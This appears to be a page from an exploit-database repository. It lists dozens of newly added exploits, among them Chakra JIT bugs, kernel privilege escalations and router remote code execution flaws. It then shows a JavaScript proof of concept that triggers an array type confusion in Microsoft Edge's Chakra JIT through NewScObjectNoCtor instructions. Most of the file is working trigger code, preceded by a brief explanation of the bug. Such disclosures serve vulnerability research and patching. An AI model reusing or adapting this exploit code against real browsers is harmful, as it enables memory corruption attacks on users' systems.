e630f8c249
45 changes to exploits/shellcodes Cisco ASA - Crash PoC Cisco ASA - Crash (PoC) GNU binutils 2.26.1 - Integer Overflow (POC) GNU binutils 2.26.1 - Integer Overflow (PoC) K7 Total Security 15.1.0.305 - Device Driver Arbitrary Memory Read Linux Kernel - 'AF_PACKET' Use-After-Free Oracle Java JDK/JRE < 1.8.0.131 / Apache Xerces 2.11.0 - 'PDF/Docx' Server Side Denial of Service Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly (2) Microsoft Edge Chakra JIT - Memory Corruption Microsoft Edge Chakra JIT - ImplicitCallFlags Checks Bypass Microsoft Edge Chakra JIT - Array Type Confusion via InitProto Instructions Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion Microsoft Edge Chakra JIT - 'LdThis' Type Confusion Pdfium - Pattern Shading Integer Overflows Pdfium - Out-of-Bounds Read with Shading Pattern Backed by Pattern Colorspace Chrome V8 - 'Runtime_RegExpReplace' Integer Overflow Hotspot Shield - Information Disclosure Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation Nitro Pro PDF - Multiple Vulnerabilities Odoo CRM 10.0 - Code Execution Dashlane - DLL Hijacking LightDM (Ubuntu 16.04/16.10) - Guest Account Local Privilege Escalation LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation Trustwave SWG 11.8.0.27 - SSH Unauthorized Access Ichano AtHome IP Cameras - Multiple Vulnerabilities Cisco UCS Platform Emulator 3.1(2ePE1) - Remote Code Execution Ikraus Anti Virus 2.16.7 - Remote Code Execution McAfee Security Scan Plus - Remote Command Execution OrientDB - Code Execution 360 Total Security - Local Privilege Escalation HPE Intelligent Management Center (iMC) 7.2 (E0403P10) - Code Execution Oracle Knowledge Management 12.1.1 < 12.2.5 - XML External Entity Leading To Remote Code Execution iBall WRA150N - Multiple Vulnerabilities GitStack - Unauthenticated Remote Code Execution Monstra CMS - Remote Code Execution Ametys CMS 4.0.2 - Unauthenticated Password Reset DblTek - Multiple Vulnerabilities FiberHome - Directory Traversal PHP Melody 2.7.3 - Multiple Vulnerabilities Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure Horde Groupware 5.2.21 - Unauthorized File Download QNAP HelpDesk < 1.1.12 - SQL Injection Hanbanggaoke IP Camera - Arbitrary Password Change McAfee LiveSafe 16.0.3 - Man In The Middle Registry Modification Leading to Remote Command Execution Sophos XG Firewall 16.05.4 MR-4 - Path Traversal Cisco DPC3928 Router - Arbitrary File Disclosure IDERA Uptime Monitor 7.8 - Multiple Vulnerabilities Geneko Routers - Unauthenticated Path Traversal Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Unauthenticated Remote Code Execution
32 lines
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722 B
JavaScript
32 lines
No EOL
722 B
JavaScript
/*
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This is similar to the previous issues 1457, 1459 (MSRC 42551, MSRC 42552).
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If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.
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PoC:
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*/
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function inlinee() {
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}
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function opt(arr) {
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arr[0] = 1.1;
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new inlinee();
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arr[0] = 2.3023e-320;
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}
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function main() {
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let arr = [1.1];
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for (let i = 0; i < 10000; i++) {
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inlinee.prototype = {};
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opt(arr);
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}
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inlinee.prototype = arr;
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opt(arr);
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print(arr);
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}
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main(); |